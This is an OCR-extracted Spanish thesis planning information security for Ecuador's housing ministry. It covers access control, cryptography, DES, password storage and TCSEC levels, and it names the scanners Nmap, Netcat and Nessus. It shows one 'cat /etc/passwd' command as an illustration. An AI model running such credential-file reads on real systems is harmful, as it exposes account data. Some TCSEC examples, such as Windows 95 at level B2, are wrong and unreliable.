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RESUMEN

La informacion es el recurso més importante de grandes empresas e instituciones
en el mundo actual. Avances tecnologicos y cientificos se han logrado con la
ayuda de un manejo adecuado de la informacion, combinado con una amplia

investigacion, logrando resultados fantasticos.

Es por esto, que el presente proyecto, presenta las mejores alternativas para
promover y aplicar una correcta manipulacién y gestion de la informacion en el
Ministerio de Desarrollo Urbano y Vivienda, procurando siempre establecer un alto
nivel de seguridad, para mantener a este recurso protegido contra agentes que

puedan causar dafios a la misma.

Asegurar y planificar un correcto manejo de la informacién, requiere realizar un
analisis minucioso de los componentes fisicos y I6gicos que actualmente posee.
Al estudiar los principales problemas de seguridad que existe en la red de datos,
se puede sugerir varias alternativas y soluciones que ayudaran enormemente en

el desarrollo de la institucion.

La forma mas practica para evaluar y verificar el nivel de seguridad que posee el
MIDUVI, en cuanto a la proteccion de la informacién, es la configuracion y
utilizacion de herramientas especializadas en escaneo, rastreo, intrusiones, etc.,
que permitan realizar un testing de la situacion actual y posteriormente sirvan para

solucionar los problemas mas graves que fueron detectados.

Existen en la actualidad varios programas, aplicaciones y herramientas que
trabajan y procesan informacion de manera rapida y confiable. El proceso de
eleccion de cudles podrian ser las mejores y mas apropiadas, puede ser
complicado, pero se deberia tomar en cuenta aquellas que cumplan al maximo

con las necesidades y requerimientos de la institucion.



1. CAPITULO: ANTECEDENTES.

1.1. INTRODUCCION

El Ministerio de Desarrollo Urbano y Vivienda, como un organismo que maneja
informacion importante requiere facilitar y agilitar los procesos de procesamiento
de la misma, con el objeto de facilitar las actividades que se realizan

habitualmente dentro de este Ministerio.

Al hablar de la importancia de la informacion en la actualidad es conveniente
analizar y conocer las diferentes tecnologias de la informacion, estas se definen
como el estudio que envuelve el soporte, administracion, analisis, disefio, asi
como el desarrollo y la implementacién de los nuevos sistemas de informacion

gue corren bajo un ordenador o PC.

Todo esto abarca componentes fisicos, hardware, y por otro lado el equipamiento
l6gico, conocido como software, que sirve de enlace entre las personas y el
computador, que no son mas que los programas que ayudan a que la maquina

pueda funcionar.

En el mundo actual, hablar de una computadora es algo cotidiano, ya que la
ciencia y tecnologia va avanzando a pasos gigantescos. Al trabajar con una
computadora, se manipula a la vez datos, registros, nUmeros, imagenes, videos,
etc. que se convierten en informacién importante y algunas veces critica y
confidencial para las personas u organizaciones. Es por esto, que la informacion
generada debe ser bien cuidada y protegida ademas de ser manejada de manera

adecuada, para poder procesarla y utilizarla de mejor manera.

Para obtener un correcto manejo y administracion de la informacién, asi como un

nivel adecuado de seguridad de la misma se debe trabajar con las nuevas



Tecnologfas de la Informacién® (TI), que proveen un sin nimero de opciones y

alternativas para lograr el objetivo.

El 4rea de aplicacion que tienen estas tecnologias de la informacién es muy
amplia y variada, ya que estd ganando impulso cada dia que pasa, con gran

impacto en los campos de trabajo y estudio.

Anteriormente la tecnologia de la informacion se limitaba a las personas que
trabajaban en determinados sectores propios de esta rama, como la banca,

ciencia, ingenieria, etc.

Segun va avanzando el tiempo, se ha podido observar un brote de crecimiento
enorme en el uso de tecnologias de la informacién. La llegada del ordenador
personal o computadora ha hecho posible esto y hasta incluso para que grandes

grupos de personas puedan beneficiarse de las bondades que provee la misma.

Hay muchos que todavia se preguntan del porqué estas tecnologias de
informacion estan revolucionando al mundo, pero estd en cada una de las
personas aprovecharla de la mejor manera, con la finalidad de seguir
enriqueciendo el conocimiento hasta encontrar las verdaderas bondades que

puede alcanzar con las tecnologias de la informacion.

En las empresas, la tecnologia de la informacion juega un papel importante en la
gestion y mantenimiento de grandes cantidades de informacion. Esto ayuda a la
creacion y generacion de informacion tan buena como la que se podra
intercambiar y emitir a los demas. Es por esto que las empresas podrian trabajar
con sus clientes y usuarios en cualquier parte del mundo, como si estuvieran en

su propio edificio o lugar de trabajo.

! Tecnologia de informacion: El conjunto de procesos y productos derivados de las nuevas herramientas
(hardware y software), soportes de la informacién y canales de comunicacién relacionados con el
almacenamiento, procesamiento y transmision de la informacién.

Fuente: www.tecnologiahechapalabra.com/tecnologia/glosario_tecnico/articulo.asp?i=875



Lograr identificar con precisién pequefios y grandes cambios en las instituciones,
y asi poder implementar un conjunto adecuado de controles,
politicas, procesos, procedimientos, estructuras organizativas y

software de proteccion como mecanismos de seguridad.

Las tecnologias de la informacion han contribuido a diversos sistemas de
seguridad para los hogares, empresas e instituciones, en gran medida. Los
sistemas mas complejos de seguridad se estan utilizando en los casos de los
organismos de estado y bases militares.

Todo esto se logra conjuntamente con politicas de seguridad y utilizacién de la

informacion, asi como un correcto manejo y gestion de la misma.

Al hablar de grandes bases de datos publicas sin supervision y de informacion
confidencial con un nivel bajo de seguridad, hace que se desarrollen nuevas
herramientas tecnolégicas que permitan aprovechar estas vulnerabilidades. De
hecho, no es para extrafiarse que los delincuentes o piratas informéaticos utilicen
estas tecnologias como medios de indagacion de personas para conocer su

estatus y asi poder planear un ataque.

Es por todo esto que la informacion es de vital importancia, para todo el mundo, y
la seguridad de la informacion juega una parte fundamental del éxito en una

institucion u organizacion.

Poder garantizar que la informacion mas importante va a tener los niveles de
seguridad mas alto hace que la institucién pueda alcanzar sus metas y desarrollo

productivo.



1.2. PLANTEAMIENTO Y DESCRIPCION DEL PROBLEMA

La proteccion y administracion de la informacion en una empresa, hoy en dia, es
de vital importancia para mantener los datos y registros correctamente
respaldados y administrados, frente a algun dafio o desastre que pueda ocurrir.

Si bien es cierto que hace algunos afos atras, la seguridad y el correcto manejo
de la informacién se la colocaba en un segundo plano frente al cuidado y
proteccion de los equipos e instalaciones de una empresa, actualmente el avance

tecnoldgico y cientifico ha hecho que este concepto cambie notablemente.

El éxito de una empresa no depende solamente de como se maneje los recursos
materiales, sino también de como aproveche sus activos intangibles. El correcto
desarrollo de estos ultimos depende de que exista un adecuado flujo de
informacion entre la empresa y su entorno, por un lado, y entre las distintas

unidades, por otro.

Un grave problema que presentan las empresas e instituciones con respecto a la
informacion, es que no toman las medidas de seguridad y proteccion apropiadas
para este recurso, lo que conlleva a perder datos importantes y en algunos casos
confidenciales. Esto se ve reflejado al momento que los usuarios manejan la
informacion de manera irresponsable sin tomar las medidas de seguridad

necesarias 0 que no se cuenta con las herramientas necesarias.

La informacion que maneja una empresa u organizacion, ademas de contener los
procesos y procedimientos de la gestion de ésta, acoge muchos datos de la vida
del empleado, por lo tanto deben estar sujetos a diversas normas de seguridad y
proteccion, puesto que el uso indebido y substraccion de los mismos por terceras
personas (internas o externas) puede perjudicar tanto a la empresa o institucion
como al empleado, generando problemas no faciles de detectarlos y

solucionarlos.



En algunas instituciones del pais se maneja informacion importante sin tener
medidas preventivas de respaldo y seguridad en los datos, esto hace que la
informacion pueda quedar expuesta a que otras personas mal intencionadas, la
utilicen para fines maliciosos y perjudiciales. Aquellas personas interesadas en
conseguir la informacién de una empresa u organizacion, buscan la manera mas

rapida y facil de extraerla, por lo tanto se debe analizar una solucion al problema.

Por otro lado, el poco interés que existe al administrar y manipular la informacion,
conlleva la aparicion de problemas graves que pueden costar mucho tiempo y

dinero en solucionarlos.

En el MIDUVI se maneja informacion sobre el control y gestion de proyectos de
vivienda, ésta informacion es vital para el mismo y por lo tanto debe estar bien
respaldada y administrada, es por esto que se plantea una solucion a los posibles
riesgos y amenazas que puedan perjudicar de manera radical su informacion,
disefiando un plan para un correcto manejo y gestion de la informacion, y por otro
lado, proponer y sugerir las mejores alternativas que pueden ser implementadas

utilizando herramientas y aplicaciones para la administracion y seguridad.

1.3. OBJETIVOS

1.3.1. OBJETIVO GENERAL

GENERAR UN PLAN DE PROTECCION Y ADMINISTRACION DE LA
INFORMACION DE BONOS DE VIVIENDA, QUE MANEJA EL MINISTERIO DE
DESARROLLO URBANO Y VIVIENDA A TRAVES DEL ANALISIS TECNICO
PRACTICO MEDIANTE EL MANEJO Y CONFIGURACION DE HERRAMIENTAS
PARA LA GESTION DE SEGURIDAD Y PROCESAMIENTO DE INFORMACION.



1.3.2. OBJETIVOS ESPECIFICOS

v' Analizar e investigar las mejores soluciones para el manejo correcto de la
informacion de bonos de vivienda en el MIDUVI, en cuanto a la seguridad
y administracion de datos.

v' Determinar el software de monitoreo de red para evaluar el nivel de
seguridad en que se encuentra la informacion.

v Identificar los mayores riesgos y amenazas que existen en el mundo
exterior y que ponen en peligro la informacion existente en el MIDUVI.

v' Analizar el rendimiento de los servidores que almacenan y donde se
procesa toda la informacién de bonos de vivienda.

v Desarrollar una aplicacion web utilizando software libre para facilitar el
proceso de consulta de postulantes y beneficiarios de bonos de vivienda.

v' Determinar las aplicaciones mas seguras y mas confiables en el manejo de
la informacién que existen actualmente.

v Presentar los resultados obtenidos utilizando las herramientas necesarias
para dar a conocer las mejores alternativas que pueden ser

implementadas.

1.4. JUSTIFICACION

La informacién sobre la gestion y control de bonos de vivienda que procesa el
Ministerio de Desarrollo Urbano vy Vivienda es de vital importancia para los
nuevos sistemas que se van a implementar a futuro por parte de diferentes
instituciones encargadas de los programas sociales que se realizan en el

Ecuador.

Es por esto que el presente proyecto surge con la necesidad de proteger y
administrar de mejor manera la informacion que se encuentra actualmente en el
ministerio. Ademas que dicha informacion esta expuesta a que personas con mala
intencion puedan modificar o alterar los registros de los bonos de vivienda que se

adjudicaron anteriormente en el MIDUVI.



Las bases de datos que se manejan en la institucion se encuentran segmentadas,
es decir, que no se maneja un concepto de base de datos centralizada con tablas
relacionadas, en la cual se alojen los registros de beneficiarios de bonos de
vivienda. Como se dijo anteriormente el sistema mono usuario que se utiliza para
la calificacién de los postulantes que aplican al bono que otorga el ministerio no
permite centralizar en una sola base de datos todos los beneficios que la

institucion ofrece al pueblo ecuatoriano.

De la misma manera toda esta informacion no se encuentra protegida
adecuadamente, ya que no existen ningun tipo de politicas de seguridad como por
ejemplo, un plan de contingencia y respaldo de los datos, ademas la falta de un

control de acceso de usuarios a los registros de bonos de vivienda.

Luego de reorganizar la informacién y proponer un plan de seguridades que
ayude al control efectivo de los registros y datos que se encuentran dispersos en
las direcciones provinciales del MIDUVI, se llegara a tener en el edificio matriz
una sola base de datos que pueda responder a todos los pedidos por parte de
otras instituciones y de esta manera la informacion generada servira para los

diferentes sistemas y aplicaciones que existen en la actualidad.

1.5. DESCRIPCION DEL PROYECTO

El plan de proteccion y administracion propuesto, comprenderd dos subtemas
principales, los cuales son: la seguridad y proteccion de la informacion y el
correcto manejo y administracién de la misma. Esto quiere decir que no solo se
evaluara las posibles fallas y amenazas a las que esta expuesta la informacion
confidencial de bonos de vivienda en el MIDUVI, sino que ademas se planteara
una mejor solucion en la administracion de los datos mediante alternativas de
seguridad, respaldo de datos, reestructuracién de la informacion y desarrollo de

interfaces de consulta y control de la gestion de proyectos de vivienda.



Para lo cual se debe seguir un proceso que defina primeramente los principales
problemas que tiene la institucion en cuanto a los recursos de informacion,
identificando las posibles causas del mal manejo de la misma, asi como las
amenazas y vulnerabilidades existentes con la ayuda de software de escaneo
como Nmap, Netcat o Nessus y de esta manera llegar a plantear un plan de

seguridad como solucién al problema.

Para verificar el nivel de proteccion que brindan los servidores que alojan la
informacion importante de bonos, se pretende evaluar y analizar el trafico de la
red, utilizando software especializado, que permitira visualizar las principales
vulnerabilidades existentes y de esta manera proponer una mejor alternativa para

prevenir ataques de sniffers, rastreadores, spoofing, scanners de puertos, etc.

Como alternativa de proteccion a la informacion importante que maneja el
MIDUVI, se analizard y sugerira las mejores soluciones en cuanto a respaldos de
informacion para la gestion y control de bonos de vivienda, con la cual se

manejara backups y restauracion de datos.

Para lograr un mejor manejo de la informacion, se desarrollard una aplicacion web
que permitird consultar, actualizar y emitir reportes de bonos de vivienda que
otorga el MIDUVI, la cual acogera los estdndares y normas que exige el gobierno
actual, es decir, serd desarrollado con herramientas de software libre y ademas

gue cuente con un nivel considerable de seguridad en los datos.

Para la parte de base de datos se utilizardA MySQL ya que este motor de base de
datos ofrece una flexibilidad, adaptacion y protecciéon de datos elevada la cual
servira al momento de unificar toda la informacion que posee el MIDUVI en cuanto

a bonos de vivienda.

El servidor Web serd Apache, ya que éste es de libre distribucion y no tiene costo

en la adquisicion inicial.

Para el desarrollo se utilizara PHP 5, ya que presenta muchas ventajas como el
manejo de clases y objetos, a diferencia de la version 4 que presenta problemas

en la ejecucion.



Esta aplicacion contara con dos médulos principales los cuales son:
1. Interfaz de consulta de bonos de vivienda.
2. Aplicativo del control de gestién de proyectos de vivienda.

El primer médulo comprendera una interfaz amigable al usuario, que podré ser
accedida desde el portal del MIDUVI y permitira realizar consultas sobre el bono

de vivienda.

El segundo modulo sera de uso exclusivo de personal de la subsecretaria de
vivienda, con el fin de controlar de mejor manera la gestion de los proyectos de

vivienda.

Este aplicativo sera instalado en los servidores que posee el ministerio y servira
para poder evaluar el nivel de seguridad que presta en cuanto al procesamiento
de informacién. Se utilizara software espias, de intrusion y escaneo de datos para
verificar el nivel de seguridad que posee, y de esta manera realizar las
respectivas observaciones y recomendaciones que se deberian tomar en cuenta

al desarrollar aplicaciones web seguras.

Con el fin de poseer servidores capaces de responder rapidamente a peticiones
sera de gran utilidad evaluar la potencialidad de la virtualizacién, como nueva
tecnologia, que permita trabajar con informacién centralizada en un solo equipo y

con varias aplicaciones ejecutandose al mismo tiempo.

Para efecto de trabajar conjuntamente con instituciones externas que trabajan con
programas sociales, se debera ejecutar el plan de reestructuraciéon de la
informacion de acuerdo al analisis correctivo y apoyandose en normas
estandarizadas, que permitan corregir los errores que presentan las bases de
datos existentes, para de esta manera lograr consolidar la informacion de bonos
de vivienda urbano, rural y urbano marginal de los afios 2007, 2008, 2009 y 2010
que no tienen un mismo formato y que no poseen coédigos de acuerdo a la
Division Politica Administrativa (DPA) para las ubicaciones geograficas en el

Ecuador.
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2. CAPITULO: SEGURIDAD EN LA RED Y PROTECCION
DE LA INFORMACION.

La seguridad en una red merece en la actualidad una atencion especial, ya que es
necesario y de vital importancia conocer las vulnerabilidades a las que puede
estar expuesto un sistema conformado por un conjunto de computadoras que

trabajan con informacion confidencial en una institucion.

Muchas de las vulnerabilidades son el resultado de una implementacion incorrecta
de tecnologias, otras son consecuencia de la falta de planeamiento de las
mismas, pero la mayoria de los agujeros de seguridad son ocasionados por los

propios usuarios que utilizan los sistemas incorrectamente.

2.1. CONCEPTOS GENERALES DE SEGURIDAD

2.1.1. ELEMENTOS DE SEGURIDAD

Confidencialidad

Se refiere a la privacidad de los elementos de informacién, almacenados y
procesados en un sistema informatico. Garantizar que solo personas autorizadas
accedan a los datos.

Las herramientas de seguridad informatica deben proteger a los sistemas de

intrusiones, escaneos y accesos no autorizados.

Integridad
Se refiere a la validez y consistencia de los elementos de informacion

almacenados y procesados en un sistema informatico.
Es decir, que se pueda asegurar que la informacion en procesos de actualizacién
esté sincronizada y no sea duplicada, alterada, borrada, reordenada, etc., bien

durante el proceso de transmision o en el propio equipo local.
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Disponibilidad

Se refiere a la continuidad de acceso a los elementos de informacion

almacenados y procesados en un sistema informatico.
Es decir, que la informacion pueda ser recuperada en donde las herramientas de
seguridad informatica deben reforzar la permanencia de los datos para que los

usuarios accedan y utilicen los recursos con cualquier frecuencia requerida.

Sequridad de la Informacién

Se refiere a todas aquellas acciones que se enfoquen al establecimiento de
directrices que permitan alcanzar la confidencialidad, integridad y disponibilidad
de los elementos de informacion, asi como la continuidad de las operaciones ante
un evento que las interrumpa.

Al referirse a seguridad de informacion se identifica un conjunto de elementos
para controlar y salvaguardar este recurso generado por sistemas, software de

desarrollo y por programas en aplicacion.

Activo
Se refiere a todos aquellos recursos con los que cuenta una empresa o institucion
y que tiene valor, éstos pueden ser tangibles (servidores, desktop, equipos de

comunicacién) o intangibles (informacién, politicas, normas, procedimientos).

Vulnerabilidad

Es la exposicién a un riesgo, fallo o problema de seguridad detectado en cualquier

aplicacion o software que maneje recursos de informacion.
Generalmente son detectados o encontrados por intrusos y atacantes de sistemas

informaticos, provocando desastres y dafios irreparables.

Amenaza
Cualquier situacion o evento posible con potencial de dafio, que pueda

presentarse en un sistema informéatico.
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Riesgo
Es un hecho potencial, que en el evento de ocurrir puede impactar negativamente
la seguridad, los costos, la programacién o el alcance de un proceso de negocio o

de un proyecto.

2.2. SEGURIDAD DE ACCESO A LARED

La seguridad del acceso a redes de informacion es vital en cualquier sistema, ya
que se debe proporcionar un total control sobre los usuarios y host que se
conectan entre si para evitar intrusiones que puedan afectar a la red.

Es posible implantar reglas de acceso a la red muy refinadas. Se pueden definir
varias reglas y politicas de acceso como por ejemplo un usuario A no puede
conectarse a la red, el usuario B debe utilizar una determinada méaquina o PC
para conectarse y un usuario C puede conectarse libremente desde cualquier
lugar que desee.

De esta manera se puede restringir el acceso a usuarios no autorizados que
intenten ingresar libremente a los sistemas y aplicaciones que manejan

informacion importante de una empresa o institucion.

USUARIO A

EL USUARIO A NO PUEDE
CONECTARSE AL SERVIDOR

EL USUARIO B SOLO PUEDE
CONECTARSE DESDE UNA IP
DETERMINADA

o

EL USUARIO C PUEDE
CONECTARSE DESDE
CUALQUIER LUGAR

Figura 2.1: Control de acceso de los usuarios.
Fuente: Autor de tesis.
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Esta funcionalidad viene muy bien en los entornos de red o cuando se trabaja con
un servidor de internet por ejemplo, ya que permite mantener un servidor que

realice funciones especificas para cada perfil de usuario.

2.2.1. CONTROL DE ACCESO

Un punto central es el control de acceso, que permite controlar el grado hasta que
los usuarios pueden acceder a los archivos y directorios en uno o varios sistemas.
Es decir, es permitir o denegar el acceso a diferentes aplicaciones y lugares que

procesen informacion.

Si se presenta un ejemplo, se diria que es posible especificar con total exactitud la
forma en que distintos usuarios acceden a los mismos archivos y directorios. Un
usuario A podria tener el permiso de lectura, escritura y ejecucion para varios
archivos. De la misma manera un usuario B solo podra leerlos y escribir en ellos,
y finalmente un usuario C no tendra permisos de lectura, es decir, no podra

siquiera acceder a ellos.

Si las empresas u organizaciones se dividen en departamentos o direcciones y
que es posible que varios usuarios de dichos departamentos tengan que acceder
a los mismos archivos. Los sistemas operativos actuales permiten agrupar a estos
usuarios. De esta forma, cuando se definen permisos para determinados archivos

y directorios, no es necesario hacerlo para todos y cada uno de los usuarios.

Si se presente un ejemplo donde un grupo A tiene acceso solo a escritura,
mientras que un grupo B tiene acceso a lectura y escritura. Dicha gestion a nivel
de grupo resulta muy util cuando hay muchos usuarios y varios grupos de

usuarios necesitan privilegios idénticos o muy parecidos.
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2.3. CRIPTOGRAFIA Y CONTRASENAS

Desde hace mucho tiempo atras, con el nacimiento de los computadores el
hombre vio la necesidad de utilizar algin método para proteger la informacion,
pero la primera evidencia concreta de esto, se encuentra en el antiguo Egipto.
Cuando un egipcio importante moria, las personas trabajadoras preparaban su
cuerpo mediante la momificacion. Luego lo enterraban con pergaminos que
portaban frases del Libro de los Muertos.?

En estos pergaminos los sacerdotes escribian contrasefias secretas que

permitian al fallecido comprar su entrada en el cielo.

La mayoria de las contrasefias no estaban cifradas. En su lugar, los sacerdotes
confiaban en el destino, jugando con que el fallecido alcanzaria el cielo antes de
que los ladrones de tumbas lo descubran. De todo esto, o que se sabe es que
aproximadamente 2000 afios A.C, los egipcios empezaron a usar contrasefias de
texto sin formato. En los siguientes 1000 afios, los egipcios lograron desarrollar

una criptografia rudimentaria.

2.3.1. CRIPTOGRAFIA

La palabra criptografia viene de 2 antiguas palabras: Krypto (oculto) y graphia
(escritura), por lo tanto, la criptografia es la ciencia de escribir en forma secreta
para lograr cifrar y descifrar informacion mediante técnicas especiales, se emplea
para permitir un intercambio de mensajes que solo pueden ser leidos y
entendidos por personas a las que van dirigidos, y que poseen los medios para
descifrarlos.

La criptografia al inicio se lograba al realizar una mezcla de los componentes de
los datos a ser cifrados, donde los caracteres eran simplemente reordenados.
Mas tarde, se utilizaron cifrados por sustitucion, con formulas sencillas para

convertir de manera uniforme cada caracter en otro.

2,. e . . , s . . ,
Libro de los Muertos: una coleccién de sortilegios o férmulas magicas que se incluian en las tumbas del
Reino Nuevo, y pretendian ayudar al difunto en su dificil camino al Mas Alla.
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Actualmente los cifrados por sustitucién simple existen, pero ya no se utilizan para
ocultacion de datos. Los simples cifrados por sustitucion son demasiado
rudimentarios para proteger datos. De ahi que durante varios siglos, y en los
altimos 100 afios, los investigadores han desarrollado muchos tipos de cifrado
diferentes.

2.3.1.1 Tipos de Criptografia:

# Criptografia simétrica

Este tipo de cifrado emplea una clave Unica para cifrar y descifrar el mensaje. El
emisor cifra el mensaje con la clave y el receptor descifra el mensaje usando la
misma clave. El Unico requisito previo es que ambas partes deben conocer dicha
clave. Es un algoritmo de cifrado muy rapido, pero plantea dos inconvenientes, el
primero es que la clave comun debe ser enviada por un canal seguro y el

segundo inconveniente es que debe ser mayor de 40 bits para que sea robusto.

# Criptografia asimétrica o de clave publica

Este tipo utiliza un par de claves para el envio de mensajes cifrados.

Existe una clave publica y una clave privada. La clave publica es conocida por
todos y la clave privada solo por el propietario, y permanece siempre en secreto.
Es mas lento en proceso que las claves simétricas y los mensajes resultantes son

de mayor tamafio.

# Criptografia de Curva eliptica CCE

Este tipo es una variante de la asimétrica y en lugar de usar la matematica de los

nameros primos para generar las claves de cifrado, utiliza curvas elipticas.

# Criptografia hibrida

Es una combinacion de cifrado simétrico y asimétrico. Utiliza una clave publica
para cifrar el mensaje en el que envia una clave para el cifrado simétrico.

Para darle mayor seguridad la clave simétrica, es diferente para cada sesion.
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2.3.2. DATA ENCRYPTION STANDAR (DES)

Data Encryption Standar (DES) es el cifrado mas popular de muchos afos, a
pesar que solo tiene 25 afios.

Esta forma de encriptacion nace a principios de los afios 70, cuando el gobierno
de los EEUU, carecia de un método de codificacion estandarizado para un uso
mas general. Muchas empresas desarrollaron propuestas, pero la que ganoé fue la
de IBM. El DES de IBM fue objeto de rigurosas pruebas y, en 1977, la National
Bureau of Standar la apoyaron. Desde entonces este algoritmo tomado fuerza en
los ultimos afos, aunque en la actualidad existen otros y mas poderosos tanto

para sistemas UNIX-Linux como Windows.

Funcionalmente, DES es un cifrado de bloque, que trabaja sobre blogues de
datos de un tamafio determinado (64 bits). Los bloques de datos que superan
este tamafo se dividen en fragmentos de 64 bits. Las porciones restantes
inferiores a 64 bits se rellenan. Cuando se habla de rellenar se refiere a que DES
puede afiadir bits sin significado a partes mas pequefias para conseguir un bloque
completo.

A partir de esta instancia, DES emplea tres operaciones importantes, la primera
de las cuales es la permutacion inicial. En este proceso, los bits de datos se
desplazan a otras posiciones en una tabla. Sigue un proceso de transformacion
con la ayuda de complicadas operaciones matematicas con el fin de crear un
blogue de presalida. Y para finalizar, al bloque se le aplica otra permutacién mas y
el resultado final es el texto mezclado, al que a veces se lo denomina texto

cifrado, pero es mas conveniente llamarlo texto codificado.

2.3.3. CIFRADO EN INFORMACION CONFIDENCIAL

Ademas de una administracion centralizada y del control de acceso a redes, los
sistemas deben proporcionar mas mecanismos de proteccion, en este caso se

refiere al cifrado de datos.
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Se define a cifrado como el proceso de mezclar datos para que no puedan ser
leidos por agentes no autorizados. En la mayoria de los esquemas de cifrado, es
necesario tener una contrasefia para reorganizar los datos de forma que puedan
leerse. El cifrado se utiliza para efectos de privacidad y proteccion de informacion

importante.

Habitualmente cuando se transmiten datos a través del internet, atraviesan varias
pasarelas o gateways, que en su camino los datos son vulnerables a escuchas
electronicas. Es por esto que se busca tener opciones y utilidades
complementarias que permitan cifrar o codificar los datos para que si alguien los
captura, solo pueda ver signos raros o de caracteres especiales de dificil
entendimiento.

Si un usuario desea utilizar una tarjeta de crédito, el proceso empezara cifrando
los datos antes de salir de su red interna y permanecera asi hasta que el servidor
de comercio logre descifrarla para utilizar el cédigo y asi realizara la transaccion.
Este proceso protege a los datos de ataques y posibilita un comercio electrénico
seguro, algo que esta obrando cada vez mayor importancia.

SERVIDOR
LOCAL

DATOS CODIFICADOS Y
CIFRADOS EN TRANSITO

USUARIO DATOS DE LA TARJETA
DE CREDITO

A

INTERNET SERVIDOR
COMERCIAL

Figura 2.2: Conexion para cifrado de datos.
Fuente: Autor de tesis.



18

2.34. GENERACION Y ALMACENAMIENTO DE CONTRASENAS

Una parte esencial de un sistema seguro consiste en poseer las mas fuertes
medidas de seguridad en los datos e informacion, esto se logra protegiendo el
acceso con las denominadas contrasefias.

La seguridad de la contrasefia es tan importante que sin ella ningun sistema
podra ser seguro. Es posible instalar un grupo de potentes firewalls y, aun asi, si
las contrasefias son facilmente descifrables y vulnerables, el sistema seria una
puerta abierta.

Se puede enfocar en dos niveles de seguridad de contrasefias: Por un lado hay
que aplicar herramientas avanzadas para reforzar la contrasefia. Por el otro, es
necesario educar a los usuarios para inculcar politicas de prevencién basicas.

La generacion y almacenamiento de contrasefias en sistemas actuales tienen que
ver directamente con la distribucién o sistema operativo que se instalard a lado
del servidor.

Por ejemplo, si se tiene una distribucién Linux, los usuarios se guardaran en
letc/passwd, lo que no resultaba seguro, ya que este directorio es y debe ser

legible, en la siguiente figura se muestra el anterior fichero.

Scat /etc/passwd

Figura 2.3: Informacidn del archivo “passwd”, que contiene informacién de contrasefias en Linux. Fuente:
Autor de Tesis.
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2.4. NIVELES DE SEGURIDAD

Utilizando el estandar méas utilizado propuesto por TCSEC Orange Book® los
niveles describen diferentes tipos de seguridad del Sistema Operativo y se
enumeran desde el minimo grado de seguridad al maximo.

Estos niveles han sido la base de desarrollo de estadndares europeos
(ITSEC/ITSEM) y luego internacionales (ISO/IEC).

Cabe aclarar que cada nivel requiere todos los niveles definidos anteriormente:

asi el subnivel B2 abarca los subniveles B1, C2, C1y el D.

2.4.1. NIVEL D: PROTECCION NULA

Este nivel contiene solo una division y ha sido reservado para sistemas que luego
de ser evaluados no cumplen con ninguna especificacion de seguridad. Son
sistemas no confiables, no existe proteccion para el hardware, el sistema
operativo es inestable y no hay autentificacion con respecto a usuarios y sus

politicas de acceso a la informacién.
Ejemplos: MS-DOS, System 7.0 de Macintosh.

2.4.2. NIVEL C1: PROTECCION DISCRECIONAL

Aparece la identificacion de usuarios, con lo cual permite el acceso a informacion
variada pero especifica. Cada usuario puede manejar su informacion privada y se
hace la distincién entre los usuarios y el administrador del sistema, quien tiene el

control total de acceso.
Ejemplos: Linux 1.0 posterior a Minix, Primeras versiones de Unix.

Muchas de las tareas de administracion del sistema solo pueden ser realizadas
por este “super usuario” quien tiene gran responsabilidad en la seguridad del

mismo. Los requerimientos minimos para cumplir la clase C1 son:

> El estandar de niveles de seguridad mas utilizado internacionalmente es el TCSEC Orange Book,
desarrollado en 1983 de acuerdo a las normas de seguridad en computadoras del Departamento de
Defensa de los Estados Unidos.
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Acceso de control discrecional.- existe una distincion entre usuarios y recursos.
Se podran definir grupos de usuarios y grupos de objetos sobre los cuales podran
actuar los usuarios o grupos de ellos. Se define un mecanismo de control y
acreditacion, asi como la capacidad de hacer cumplir las restricciones de acceso
de una base individual, es decir, garantizar de una forma convincente a los
usuarios de que sus proyectos o informacion privada esta protegida y evitar que

otros usuarios accidentalmente puedan leer o destruir sus datos.?

Identificacién y autentificacidn.- en este nivel se requiere que un usuario se
identifique antes de comenzar a ejecutar acciones sobre cualquier sistema, existe
un mecanismo de proteccién y de control de acceso, en el cual se genera una
tabla de control para los usuarios entrantes. En este punto es vital la utilizacion de
contrasefias para autenticar la identidad del usuario y lograr un nivel mas alto de
confiabilidad. Ademas se debe establecer restricciones a usuarios no autorizados

gue quieran acceder al sistema.

2.4.3. NIVEL C2: PROTECCION DE ACCESO CONTROLADO

Este subnivel fue disefiado para solucionar las principales debilidades del C1.
Posee un ambiente de acceso controlado ya que incorpora caracteristicas
adicionales. Se debe llevar una auditoria de accesos e intentos fallidos de acceso

a objetos.

Tiene la capacidad de restringir aun mas el que los usuarios ejecuten ciertos
comandos o0 tengan accesos a ciertos archivos, permitir o denegar datos a
usuarios en concreto, con base no solo en los permisos, sino también en los

niveles de autorizacion.

Requiere que se audite el sistema, logrando llevar un registro de todas las
acciones relacionadas con la seguridad, como las actividades efectuadas por el

administrador del sistema y sus usuarios.

*Acceso de control discrecional: Tomado del Libro Naranja, pagina. 9, NIVELES DE SEGURIDAD.
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Los usuarios de un sistema C2 tiene la autorizacién para realizar algunas tareas
de administracion del sistema sin necesidad de ser administradores. Ademas
permite llevar mejor cuenta de las tareas relacionadas con la administracion del
sistema, ya que es cada usuario quien ejecuta el trabajo y no el administrador del

sistema.
Ejemplos: Sistemas posteriores de Unix, VMS, MAC OS 9.

2.4.4. NIVEL B1l: SEGURIDAD ETIQUETADA

Este subnivel, es el primero de los tres con que cuenta el nivel B. Soporta
seguridad multinivel, como la secreta y ultra secreta. Se establece que el duefio
del archivo no puede modificar los permisos de un objeto que esta bajo control de

acceso obligatorio.

A cada objeto del sistema (usuario, dato, etc.) se le asigna una etiqueta, con un
nivel de seguridad jerarquico (alto secreto, secreto, reservado, etc.) y con unas

categorias (contabilidad, nominas, ventas, etc.).

Cada usuario que accede a un objeto debe poseer un permiso expreso para

hacerlo y viceversa. Es decir que cada usuario tiene sus objetos asociados.

Ejemplos: Mac OS X 10.0, rPath de Ret Hat

2.4.5. NIVEL B2: PROTECCION ESTRUCTURADA

Requiere que se etiquete cada objeto de nivel superior por ser padre de un objeto
inferior. La Proteccion Estructurada es la primera que empieza a referirse al
problema de un objeto a un nivel mas elevado de seguridad en comunicacion con

otro objeto a un nivel inferior.

Asi, un disco rigido sera etiquetado por almacenar archivos que son accedidos
por distintos usuarios. El sistema es capaz de alertar a los usuarios si sus
condiciones de accesibilidad y seguridad son modificadas; y el administrador es el
encargado de fijar los canales de almacenamiento y ancho de banda a utilizar por

los demas usuarios.
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Ejemplos: Sistemas como Multics de Honeywell, XENIX, Windows 95

2.4.6. NIVEL B3: DOMINIOS DE SEGURIDAD

Refuerza a los dominios con la instalacion de hardware: por ejemplo el hardware
de administracion de memoria se usa para proteger el dominio de seguridad de
acceso no autorizado a la modificacion de objetos de diferentes dominios de

seguridad.

Existe un monitor de referencia que recibe las peticiones de acceso de cada
